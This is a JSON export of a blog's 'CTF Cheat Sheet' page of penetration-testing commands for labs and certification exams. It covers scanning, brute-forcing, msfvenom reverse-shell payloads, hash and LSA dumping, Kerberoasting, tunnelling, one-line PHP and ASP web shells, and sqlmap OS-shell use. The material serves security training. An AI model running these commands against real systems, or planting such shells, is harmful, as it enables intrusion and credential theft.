{"id":10,"date":"2023-05-23T19:59:10","date_gmt":"2023-05-23T19:59:10","guid":{"rendered":"https:\/\/bentoboxinfosec.com\/wordpress_8\/?page_id=10"},"modified":"2023-05-28T18:45:13","modified_gmt":"2023-05-28T18:45:13","slug":"ctf-cheat-sheet","status":"publish","type":"page","link":"https:\/\/bentoboxinfosec.com\/wordpress_8\/?page_id=10","title":{"rendered":"CTF Cheat Sheet"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">This is a list of common commands you may find yourself using in CTF exercises, vulnerable labs and machines, or penetration testing courses. They can also be useful for the eJPT, OSCP and Hack The Box CPTS if you are pursuing any of those certifications. You are responsible for ensuring the commands you are using are allowed on your exam! <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Please keep in mind many skills do not translate well to a cheat sheet format. Burp Suite and Zap Proxy, Vulnerability Scanning, Command Injection, and other topics are better covered in tutorials, classes, or videos. This is intended to save time by keeping some common command and tool examples in one place, not to take the place of training.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DISCLAIMER: Do not use ANY of these tools or commands unless you have permission to access the device you are testing. Some of these commands are unsafe and NOISY so don&#8217;t be a criminal and use this information responsibly!<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#info-gathering\">Information Gathering<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#pillaging\">Pillaging<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#password-attacks\">Password Attacks<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#exploitation\">Exploitation<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#priv-escalation\">Privilege Escalation<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#active-directory\">Active Directory<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#pivoting\">Pivoting<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"#web-hacking\">Web Hacking<\/a><\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Information Gathering<\/strong><\/p>\n\n\n\n<pre id=\"info-gathering\" class=\"wp-block-code\"><code><strong>NMAP:<\/strong>\n\nstandard scan with scripts, version detection, no pings:\nsudo nmap -sC -sV -Pn &lt;host>\n\nscan all ports, output all formats:\nsudo nmap -p- -oA scan.txt &lt;host>\n\nscan top 1000 ports, OS detection:\nsudo nmap --top-ports 1000 -O &lt;host>\n\naggressive scan, all ports, output all formats:\nsudo nmap -A -p- -iL &lt;hosts.txt> -vv -oA agscan.txt\n\nFind\/run specific scripts:\nlocate scripts\/&lt;service>\nsudo nmap --script &lt;script name> -p&lt;port> &lt;host>\n\nHost discovery:\r\n\r\nsudo nmap 10.129.2.0\/24 -sn -oA tnet | grep for | cut -d\" \" -f5\r\n(outputs to file tnet and lists IPs in console)\r\n\r\nHost discovery using list:\r\nsudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d\" \" -f5\n\n\n\n<strong>WEB ENUMERATION:<\/strong>\n\nInitial enumeration:\n$ nikto -host &lt;IP>\r\n$ whatweb -a3 https:\/\/&lt;url> -v\r\n$ wafw00f -v https:\/\/&lt;url>\n\n\nCreate wordlist via cewl:\r\n$cewl -m5 --lowercase -w wordlist.txt http:\/\/&lt;url>\n\n\n<strong>DNS:<\/strong>\n\nDig examples:\r\n\r$ dig @10.129.212.240 -t ANY inlanefreight.htb\r\n$ dig @10.129.212.240 -t NS inlanefreight.htb\r\n$ dig @10.129.212.240 -t TXT inlanefreight.htb\r\n\r\r\nZone transfers:\r\n\r$nslookup -type=NS zonetransfer.me\r\n$nslookup -type=any -query=AXFR zonetransfer.me nsztm1.digi.ninja Server:nsztm1.digi.ninja\r\n$ nslookup -type=A -query=AXFR internal.inlanefreight.htb 10.129.212.240\n\n\n<strong>FUZZING:<\/strong>\n\nVirtual host via curl:\r\n$ curl -s http:\/\/192.168.10.10 -H \"Host: &lt;url>\"\n\nvHost Fuzzing (fs is filter size for response)\r\n$ ffuf -w .\/vhosts -u http:\/\/&lt;url> -H \"HOST: FUZZ.&lt;url>\" -fs 612\r\n$ ffuf -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/fierce-hostlist.txt -u http:\/\/&lt;url> -H \"HOST: FUZZ.&lt;url>\" -fs 10918\n\nDirectory Fuzzing:\r\n\r\n$ feroxbuster --url http:\/\/&lt;url>\/ \r\n$ gobuster dir -w \/usr\/share\/wordlists\/dirb\/common.txt -t 100 -u http:\/\/&lt;url>\r\n$ ffuf -recursion -recursion-depth 1 -u http:\/\/&lt;url>\/FUZZ -w \/opt\/useful\/SecLists\/Discovery\/Web-Content\/raft-small-directories-lowercase.txt\n\n\nContent Fuzzing:\n\ngobuster content:\r\n\rContent (generic)\r\n$ gobuster dir -u http:\/\/10.10.10.93 -w \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt -x .html,.txt,.xml,.bak,.old\r\n\rContent IIS\r\n$ gobuster dir -u http:\/\/10.10.10.93 -w \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt -x .asp,.aspx,.txt,.ini,.tmp,.bak,.old\r\n\rContent Apache\r\n$ gobuster dir -u http:\/\/10.10.10.93 -w \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt -x .js,.jsp,.php,.txt,.tmp,.bak,.old\r\n\r\n\r\nffuf content:\r\n\r$ ffuf -w .\/folders.txt:FOLDERS,.\/wordlist.txt:WORDLIST,.\/extensions.txt:EXTENSIONS -u http:\/\/&lt;url>\/FOLDERS\/WORDLISTEXTENSIONS\r\n$ ffuf -w \/usr\/share\/wordlists\/dirb\/common.txt:FUZZ -u http:\/\/&lt;url>\/FUZZ.php<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pillaging<\/strong><\/p>\n\n\n\n<pre id=\"pillaging\" class=\"wp-block-code\"><code>\n<strong>WINDOWS BUILT IN ENUMERATION:<\/strong>\n\nEnumerating Installed Programs:\nC:\\> wmic product get name\r\n\rC:\\> dir 'C:\\Program Files (x86)\\'\n\nChecking Windows Version\r\nPS C:\\> &#91;environment]::OSVersion.Version\n\nEnumerating Local Users:\nC:\\> dir C:\\Users\\\n\nEnumerating Local Ports:\r\nC:\\> netstat -ano\r\n\r\nEnumerating Running Service:\r\nPS C:\\> get-service | ? {$_.DisplayName -like 'Druva*'}\r\n\r\n\r\nNetworking Commands:\r\n\r\nLists all known hosts stored in the arp table:\nC:\\> arp -a\t\r\n\r\nPrints out all adapter settings for the host:\r\nC:\\> ipconfig \/all\t\r\n\r\nDisplays the routing table:\nC:\\> route print\t\r\n\r\nDisplays the status of the host's firewall:\r\nC:\\> netsh advfirewall show state\r\n\r\nGet drives\/shares:\r\nPS C:\\> Get-WmiObject Win32_NetworkConnection | Select-Object RemoteName, LocalName | Sort-Object LocalName | Format-Table -AutoSize\r\n\r\n\r\nFind creds:\r\n\r\nDIR\r\nC:\\>dir n:\\*cred* \/s \/b\r\n\rC:\\>dir n:\\*secret* \/s \/b\r\n\r\r\nWindows CMD - Findstr\r\nc:\\>findstr \/s \/i cred n:\\*.*\r\n\r\nFind plaintext passwords:\r\nC:\\> findstr \/si password *.xml *.ini *.txt\n\nWindows PowerShell - Select-String\r\nPS C:\\> Get-ChildItem -Recurse -Path N:\\ | Select-String \"cred\" -List\n\n\n\n\n<strong>LINUX BUILT IN ENUMERATION:<\/strong>\n\nEnumerate Users:\r\n\r$ cat etc\/passwd | grep sh$\r\n\r$ ls \/home\/\n\nInstalled packages:\r\n\r$ dpkg -l\n\nLocate config files\r\n\r$ find . | grep conf\n\nCheck sudo privileges:\r\n\r$ sudo -l\n\nRunning processes:\n$ ps -faux\n\nShow routing table:\n$ netstat -rn\n\nShow active connections:\n$ netstat -ptan\n\n\n\n\n<strong>File transfers:<\/strong>\r\n\r\nPython HTTP server\r\n$sudo python3 -m http.server 80\r\n\r\nPython FTP server:\r\n$ python3 -m pyftpdlib -w --user=username --password=password\r\n$ curl --user username:password ftp:\/\/127.0.0.1:2121\/\r\n\r\nSSH SCP:\r\n$ scp backupscript.exe ubuntu@&lt;ipAddressofTarget>:~\/\r\n\r\n\r\nSMB\/Samba transfer from Linux to Windows:\r\n\r\r\nCreating a Share with smbserver.py\r\n$sudo python3 \/usr\/share\/doc\/python3-impacket\/examples\/smbserver.py -smb2support AttkShare \/home\/kali\/smbshare\r\n\r\r\nCopy file from share to working directory:\r\nC:\\>copy \\\\&lt;ip>\\AttkShare\\WinPEAS.zip  WinPEAS.zip\r\n\r\nMoving files to Share:\r\nC:\\> move sam.save \\\\&lt;ip>\\AttkShare\r\n        1 file(s) moved.\r\n\r\nC:\\> move security.save \\\\&lt;ip>\\AttkShare\r\n        1 file(s) moved.\r\n\r\n\r\nSMB transfer if samba is present:\r\n\r\nStart smbserver on attack box:\r\n$ sudo python3 \/usr\/share\/doc\/python3-impacket\/examples\/smbserver.py -smb2support CompData \/home\/kali\/OSCP\/\r\nTransfer from host:\r\n$ smbclient \/\/server\/share -c 'put local-file'\r\n\r\n\r\n\r\nBase64 transfer:\r\n$ base64 shell.sh -w 0\r\n\r&lt;SNIP>\r\n$ echo  &lt;SNIP> | base64 -d > shell.sh\n\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Password Attacks<\/strong><\/p>\n\n\n\n<pre id=\"password-attacks\" class=\"wp-block-code\"><code><strong>ONLINE\/NETWORK ATTACKS:<\/strong>\n\nHydra:\r\n$ hydra -L user.list -P password.list ssh:\/\/&lt;host>\r\n$ hydra -l username -P password.list rdp:\/\/&lt;host>\r\n$ hydra -L user.list -P password.list smb:\/\/&lt;host>\r\n\r\nnon-standard port:\r\n$ hydra -L user.list -P password.list -f ftp:\/\/&lt;host>:212\n\n\nMedusa:\r\n\r\n$ medusa -M ftp -h &lt;host> -U path\/to\/username_file -P path\/to\/password_file\r\n$ medusa -M HTTP -h &lt;host> -u username -p password -m USER-AGENT:\"Agent\"\r\n$ medusa -M smbnt -H path\/to\/hosts_file -C path\/to\/pwdump_file -u username -m PASS:HASH\r\n$ medusa -h &lt;host> -u username -P Password_List.txt -M ssh -n 22\n\n\ncrackmapexec:\n$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list\n\n\n\n<strong>OFFLINE ATTACKS:<\/strong>\n\njohntheripper:\n\nWordlist Mode:\r\n$ john --wordlist=&lt;wordlist_file> --rules &lt;hash_file>\n\nBuilt-in wordlist, specified format:\n$ john --format=sha256 hashes_to_crack.txt\n\n\nNTLM hash Cracking with hashcat:\r\nhashcat -m 5600 hash.txt \/usr\/share\/wordlists\/rockyou.txt\n\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exploitation<\/strong><\/p>\n\n\n\n<pre id=\"exploitation\" class=\"wp-block-code\"><code><strong>Locating Exploits with searchsploit:<\/strong>\r\n$ searchsploit &lt;service> &lt;version>\n\nCopy to working directory with searchsploit:\n$ searchsploit -m php\/webapps\/49909.py\r\n\n\n<strong>msfvenom examples:<\/strong>\n\nLinux:\r\nmsfvenom -p linux\/x86\/meterpreter\/reverse_tcp LHOST= LPORT= -f elf > \/root\/Downloads\/exploits\/exploit.elf\r\nmsfvenom -p cmd\/unix\/reverse_bash LHOST= LPORT= -f raw > \/root\/Downloads\/exploits\/exploit.sh\r\n\nLinux bind shell x64 single stage\r\nmsfvenom -p linux\/x64\/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf\r\n\nLinux Meterpreter bind shell x86 multi stage\r\nmsfvenom -p linux\/x86\/meterpreter\/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf\r\n\r\n\r\nWindows:\r\nmsfvenom -p windows\/meterpreter\/reverse_tcp LHOST= LPORT= -f exe > \/root\/Downloads\/exploits\/exploit.exe\r\nmsfvenom -a x86 --platform Windows -p windows\/shell\/bind_tcp -e x86\/shikata_ga_nai -b '\\x00' -i 3 -f python\r\n\r\nWindows Meterpreter bind shell\r\nmsfvenom -p windows\/meterpreter\/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe\r\n\r\nWindows CMD Multi Stage\r\nmsfvenom -p windows\/shell\/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe\r\n\r\nWindows CMD Single Stage\r\nmsfvenom -p windows\/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe\r\nmsfvenom -p windows\/shell_reverse_tcp LHOST=10.10.15.56 LPORT=445 -f dll -o rshell.dll\n\nScripting Languages\r\nPython:\r\nmsfvenom -p cmd\/unix\/reverse_python LHOST= LPORT= -f raw > exploit.py\r\nPerl:\r\nmsfvenom -p cmd\/unix\/reverse_perl LHOST= LPORT= -f raw > exploit.pl\n\n\n\n<strong>metasploit:<\/strong>\n\nSpecific Search\r\nmsf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft\nmsf6 > use &lt;result number>\n\nSearching for Specific Payload\r\nmsf6 exploit(windows\/smb\/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads\n\nPermanent Target Specification\r\nmsf6 exploit(windows\/smb\/ms17_010_psexec) > setg RHOSTS &lt;IP>\n\nStored Credentials\r\nmsf6 > creds -h\n\nStored Loot\r\nmsf6 > loot -h\n\nInteract with session\nmsf6 > sessions -i &lt;num>\n\n\n\n<strong>meterpreter commands:<\/strong>\n\nmeterpreter > help\n\nmeterpreter > getuid\n\nLocal Exploit Suggester\r\n\nmeterpreter > bg\r\n\r\nBackground session 1? &#91;y\/N]  y\r\n\r\n\r\nmsf6 exploit(windows\/iis\/iis_webdav_upload_asp) > search local_exploit_suggester\n\n\nDumping Hashes with meterpreter\n\r\nmeterpreter > hashdump\nmeterpreter > lsa_dump_sam\n\n\nLSA Secrets Dump\r\nmeterpreter > lsa_dump_secrets<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Privilege Escalation<\/strong><\/p>\n\n\n\n<pre id=\"priv-escalation\" class=\"wp-block-code\"><code><strong>WINDOWS:<\/strong>\n\n\n\nwinPEAS Enumeration:\r\n\r\n.\\winPEASany.exe quiet servicesinfo\r\n.\\winPEASany.exe quiet applicationsinfo\r\n.\\winPEASany.exe quiet windowscreds\r\n.\\winPEASany.exe quiet filesinfo userinfo\r\n.\\winPEASany.exe quiet cmd windowscreds\r\n.\\winPEAS.exe quiet cmd searchfast filesinfo\r\n.\\winPEAS.exe quiet procesinfo\n\n\nScheduled Tasks:\r\nC:\\>schtasks \/query \/fo LIST \/v\r\nPS> Get-ScheduledTask | wher &#91;$_.TaskPath -notlike \"\\Microsoft*\"} | ft TaskName,TaskPath,State\n\n\nRunning applications\r\n\rC:\\>task \/V\n\nCurrent User Privileges\r\nC:\\htb> whoami \/priv\n\nCurrent User Group Information\r\nC:\\htb> whoami \/groups\n\nGet All Users\r\nC:\\htb> net user\n\nGet All Groups\r\nC:\\htb> net localgroup\n\nDetails About a Group\r\nC:\\htb> net localgroup administrators\n\nGet Password Policy &amp; Other Account Information\r\nC:\\htb> net accounts\n\n\nHot Potato - NTLM relay attack to gain SYSTEM, uses SMB Relay\r\n\r.\/potato.exe -ip &lt;IP> -cmd \"C:\\&lt;shell.exe\" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true\n\n\nRDP access via linux:\n$ xfreerdp \/u:user \/p:password321 \/cert:ignore \/v:&lt;IP> \n\n\n\n<strong>LINUX:<\/strong>\n\nCheck sudo privileges:\r\n\r$ sudo -l\n\nEnumerate Users\r\n\r$ cat etc\/passwd | grep sh$\r\n\r$ ls \/home\/\n\nSSH Key locations:\r\n\/home\/user\/.ssh\/id_rsa\r\n\/root\/.ssh\/id_rsa\n\nSCP Linpeas with SSH access:\r\n$ scp  -P &lt;port> linpeas.sh user1@&lt;IP>:\/home\/&lt;user>\r\n$ scp -i ~\/.ssh\/id_rsa.pub FILENAME USER@SERVER:\/home\/USER\/FILENAME\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Active Directory<\/strong><\/p>\n\n\n\n<pre id=\"active-directory\" class=\"wp-block-code\"><code><strong>nmap scanning:<\/strong>\n\nScript scan on SMB ports with OS detection:\n$ sudo nmap -sV -sC -p 139,445 -Pn -O &lt;host>\n\nSMB Vulnerability scan:\n$ sudo nmap -sV --script=sm-vuln* -p 139,445 &lt;host>\n\n\n<strong>Built-in Enumeration:<\/strong>\n\n\nUser Search\r\nPS C:\\> dsquery user\r\n\r\nComputer Search\r\nPS C:\\> dsquery computer\r\n\r\nWildcard Search\r\nPS C:\\> dsquery * \"CN=Users,DC=&lt;domain>,DC=LOCAL\"\n\n\nWMIC:\r\n\r\n\r\nPrints the patch level and description of the Hotfixes applied\r\n\n\nPS C:\\> wmic qfe get Caption,Description,HotFixID,InstalledOn\r\n\r\n\r\nDisplays basic host information to include any attributes within the list\r\n\n\nPS C:\\> wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles \/format:List\r\n\r\n\r\nA listing of all processes on host\r\n\n\nPS C:\\> wmic process list \/format:list\r\n\r\n\r\nDisplays information about the Domain and Domain Controllers\r\n\n\nPS C:\\> wmic ntdomain list \/format:list\r\n\r\n\r\nDisplays information about all local accounts and any domain accounts that have logged into the device\r\n\n\nPS C:\\> wmic useraccount list \/format:list\r\n\r\n\r\nInformation about all local groups\r\n\n\nPS C:\\> wmic group list \/format:list\r\n\r\n\r\nDumps information about any system accounts that are being used as service accounts.\r\n\n\nPS C:\\> wmic sysaccount list \/format:list\n\n\nActiveDirectory PowerShell Modules:\r\n\r\nDiscover Modules:\r\nPS C:\\> Get-Module\r\n\r\nImport if needed:\r\nPS C:\\htb> Import-Module ActiveDirectory\r\n\r\nDomain info:\r\nPS C:\\> Get-ADDomain\r\n\r\nGet users (susceptible to kerberoast):\r\nPS C:\\> Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName\r\n\r\nCheck trusts:\r\nPS C:\\> Get-ADTrust -Filter *\r\n\r\nGroup Enumeration:\r\nPS C:\\> Get-ADGroup -Filter * | select name\r\nPS C:\\> Get-ADGroup -Identity \"&lt;group name>\"\r\n\r\nGroup membership:\r\nPS C:\\> Get-ADGroupMember -Identity \"Backup Operators\"\n\n\nEnumerating Trust Relationships:\r\n\r\nUsing Get-ADTrust\r\nPS C:\\htb> Import-Module activedirectory\rPS C:\\htb> Get-ADTrust -Filter *\r\n\r\r\nChecking for Existing Trusts using Get-DomainTrust from PowerView\nPS C:\\> Import-Module .\\PowerView.ps1\nPS C:\\htb> Get-DomainTrust\r\nUsing Get-DomainTrustMapping\r\nPS C:\\htb> Get-DomainTrustMapping\r\nChecking Users in the Child Domain using Get-DomainUser\r\nPS C:\\htb> Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName\n\n\n\n<strong>Bloodhound data collection:<\/strong>\n\nFrom Linux:\n$ sudo bloodhound-python -u '&lt;user>' -p '&lt;password>' -ns &lt;host> -d &lt;domain> -c all \n\nSharphound to collect data locally:\r\nPS C:\\> .\\SharpHound.exe -c All --zipfilename ILFREIGHT\n\n\n\n<strong>PowerView:<\/strong>\r\n\r\n\nPS C:\\> Import-Module .\\PowerView.ps1\r\n\r\nDomain User Information\r\nPS C:\\> Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol\r\n\r\nRecursive Group Membership\r\nPS C:\\>  Get-DomainGroupMember -Identity \"Domain Admins\" -Recurse\r\n\r\nTrust Enumeration\r\nPS C:\\> Get-DomainTrustMapping\r\n\r\nTesting for Local Admin Access\r\nPS C:\\> Test-AdminAccess -ComputerName ACADEMY-EA-MS01\r\n\r\nFinding Users With SPN Set (kerberoasting)\r\nPS C:\\> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalNam\r\n\r\nEnumerating the Remote Desktop Users Group with PowerView:\r\nPS C:\\> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName \"Remote Desktop Users\"\r\n\r\nEnumerating the Remote Management Users Group\r\nPS C:\\> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName \"Remote Management Users\"\n\n\r\nSharpView, a .NET port of PowerView:\r\n\r\r\nCheck options:\r\nPS C:\\> .\\SharpView.exe Get-DomainUser -Help\r\n\r\nUser info:\r\nPS C:\\> .\\SharpView.exe Get-DomainUser -Identity forend\n\n\n\n\n<strong>Enumeration from Linux:<\/strong>\n\n\nWith credentials:\n\n\ncrackmapexec:\n\nDomain Enumeration:\r\n$ sudo crackmapexec smb &lt;host> -u &lt;user> -p &lt;password> --users\r\n$ sudo crackmapexec smb &lt;host> -u &lt;user> -p &lt;password> --groups\r\n$ sudo crackmapexec smb &lt;host> -u &lt;user> -p &lt;password> --loggedon-users\n\nEnumerating Shares:\r\n$ sudo crackmapexec smb &lt;host> -u &lt;user> -p &lt;password> --shares\r\n$ sudo crackmapexec smb &lt;host> -u &lt;user> -p &lt;password> -M spider_plus --share '&lt;share name>'\r\nWhen completed, crackmapexec writes the results to a JSON file located at \/tmp\/cme_spider_plus\/&lt;ip of host>\n\n\nsmbmap:\r\n\r\nEnumerating shares:\r\n$ smbmap -u &lt;user> -p &lt;password> -d &lt;DOMAIN> -H &lt;host>\r\n\r\nRecursive List Of All Directories:\r\n$ smbmap -u &lt;user> -p &lt;password> -d &lt;DOMAIN> -H &lt;host> -R '&lt;share name>' --dir-only\n\n\npsexec.py:\npsexec.py &lt;domain>\/&lt;user>:'&lt;password>'@&lt;host>  \n\n\n\n\n<strong>Kerberoasting example:<\/strong>\n\n\nExtracting Tickets from Memory with Mimikatz\n\nmimikatz # base64 \/out:true\nmimikatz # kerberos::list \/export\n\n\nPreparing the Base64 Blob for Cracking\r\n$ echo \"&lt;base64 blob>\" |  tr -d \\\\n\n\nExtracting the Kerberos Ticket using kirbi2john.py\r\n$ python2.7 kirbi2john.py sqldev.kirbi\n\n\nThis will create a file called crack_file. We then must modify the file to use Hashcat.\r\n\r\nModifiying crack_file for Hashcat\r\n$ sed 's\/\\$krb5tgs\\$\\(.*\\):\\(.*\\)\/\\$krb5tgs\\$23\\$\\*\\1\\*\\$\\2\/' crack_file > tgs_hashcat\r\n\r\nViewing\/Checking the Prepared Hash\r\n$ cat tgs_hashcat\r\n\r\nCracking the Hash with Hashcat\r\n$ hashcat -m 13100 tgs_hashcat \/usr\/share\/wordlists\/rockyou.txt\n\n\n\n\n\n\n\n\n\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pivoting<\/strong><\/p>\n\n\n\n<pre id=\"pivoting\" class=\"wp-block-code\"><code><strong>SSH Port Forwarding:<\/strong>\r\n\r\nExecuting the Local Port Forward\r\n$ ssh -L 1234:localhost:3306 &lt;user>@&lt;attackhost>\r\n\r\nThe -L command tells the SSH client to request the SSH server to forward all the data we send via the port 1234 to localhost:3306\r\n\r\nConfirming Port Forward with Netstat\r\n$ netstat -antp | grep 1234\r\nConfirming Port Forward with Nmap\r\n$ nmap -v -sV -p1234 localhost\r\n\r\nSimilarly, if we want to forward multiple ports from the Ubuntu server to your localhost, you can do so by including the local port:server:port argument to your ssh command. For example, the below command forwards the apache web server's port 80 to your attack host's local port on 8080.\r\n\r\nMultiple Port Forwarding\r\n$ ssh -L 1234:localhost:3306 8080:localhost:80 &lt;user>@&lt;attackhost>\n\n\n\n<strong>Proxychains:<\/strong>\n\nUpdate proxychains.conf:\n$ vi \/etc\/proxychains.conf\n\nChecking \/etc\/proxychains.conf\r\n$ tail -4 \/etc\/proxychains.conf\n\nUsing Nmap with Proxychains\r\n$ proxychains nmap -v -sn 172.16.5.1-200\n\nUsing xfreerdp with Proxychains\r\n$ proxychains xfreerdp \/v:&lt;host> \/u:&lt;user> \/p:&lt;password>\n\n\n\n\n<strong>Port forwarding with meterpreter:<\/strong>\n\nmeterpreter > help portfwd\nmeterpreter > portfwd add -l 3300 -p 3389 -r &lt;host>\n\nConnecting to Windows Target through localhost\r\n$ xfreerdp \/v:localhost:3300 \/u:&lt;user> \/p:&lt;password>\n\n\n\n\n<strong>DNS Tunneling with dnscat2:<\/strong>\n\nStarting the dnscat2 server on attack\r\n$ sudo ruby dnscat2.rb --dns host=&lt;IP>,port=53,domain=&lt;domain> --no-cache\n\nImporting dnscat2.ps1 on target:\r\nPS C:\\> Import-Module .\\dnscat2.ps1\n\nStarting dnscat on target:\nPS C:\\> Start-Dnscat2 -DNSserver &lt;IP> -Domain &lt;domain> -PreSharedSecret &lt;secretkey> -Exec cmd \n\n\n\n<strong>SOCKS5 Tunneling with chisel:<\/strong>\n\nTransferring Chisel Binary to Linux Pivot Host via SSH:\r\n$ scp chisel &lt;user>@&lt;IP>:~\/\n\nRunning the Chisel Server on the Pivot Host:\r\n$ .\/chisel server -v -p 1234 --socks5\n\nConnecting to the Chisel Server\r\n$ .\/chisel client -v &lt;IP>:1234 socks\n\nEditing &amp; Confirming proxychains.conf\r\n$ vi \/etc\/proxychains.conf\n$ tail -f \/etc\/proxychains.conf \n\nPivoting to Windows taget\r\n$ proxychains xfreerdp \/v:&lt;IP> \/u:&lt;user> \/p:&lt;password>\n\n\n\n\n\n\n\n\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Web Hacking<\/strong><\/p>\n\n\n\n<pre id=\"web-hacking\" class=\"wp-block-code\"><code>Check for verbs via curl:\r\n$ curl -i -X OPTIONS http:\/\/SERVER_IP:PORT\/\n\nnmap Web Discovery, open ports, input list:\r\n$nmap -p 80,443,8000,8080,8180,8888,1000 --open -oA web_discovery -iL scope_list\n\nRunning eyewitness with nmap results:\n$ eyewitness --web -x web_discovery.xml -d &lt;domain name for output>\n\nSimple PHP command shell:\n$ echo '&lt;?php system($_GET&#91;\"cmd\"]); ?>' > shell.php\n\nSimple ASP command shell:\n$echo '&lt;% eval request('cmd') %>' > shell.asp\n\nmsfvenom PHP reverse shell:\n$ msfvenom -p php\/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php\n\n\n<strong>SQLMAP:<\/strong>\n\nSimple example:\r\n$ sqlmap -u \"http:\/\/www.example.com\/vuln.php?id=1\" --batch\n\nPOST Example:\n$ sqlmap 'http:\/\/www.example.com\/' --data 'uid=1*&amp;name=test'\n\nPUT Example:\n$ sqlmap -u www.example.com --data='id=1'--method PUT\n\nFull Request example:\n$ sqlmap -r req.txt\n\nSchema Enumeration:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --schema\n\nTable Enumeration:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --tables -D &lt;database>\n\nDump table data:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --dump -T &lt;table> -D &lt;database>\n\nSearch for tables with names like 'user':\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --search -T user\n\nSearch for columns with names like 'pass':\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --search -C pass\n\nRead local file:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --file-read \"\/etc\/passwd\"\n\nWrite local file:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --file-write \"shell.php\" --file-dest \"\/var\/www\/html\/shell.php\"\n\nSpawn a shell:\n$ sqlmap -u \"http:\/\/www.example.com\/?id=1\" --os-shell\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"has-text-align-right has-small-font-size wp-block-paragraph\">Tags: CTF Cheat Sheet, OSCP Cheat Sheet, eJPT Cheat Sheet                                                        <em>Last Updated: May 2023<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a list of common commands you may find yourself using in CTF exercises, vulnerable labs and machines, or penetration testing courses. They can also be useful for the eJPT, OSCP and Hack The Box CPTS if you are pursuing any of those certifications. You are responsible for ensuring the commands you are using &#8230; <a href=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/?page_id=10\" class=\"more-link\">Read More<span class=\"screen-reader-text\"> &#8220;CTF Cheat Sheet&#8221;<\/span> &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-10","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/pages\/10","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10"}],"version-history":[{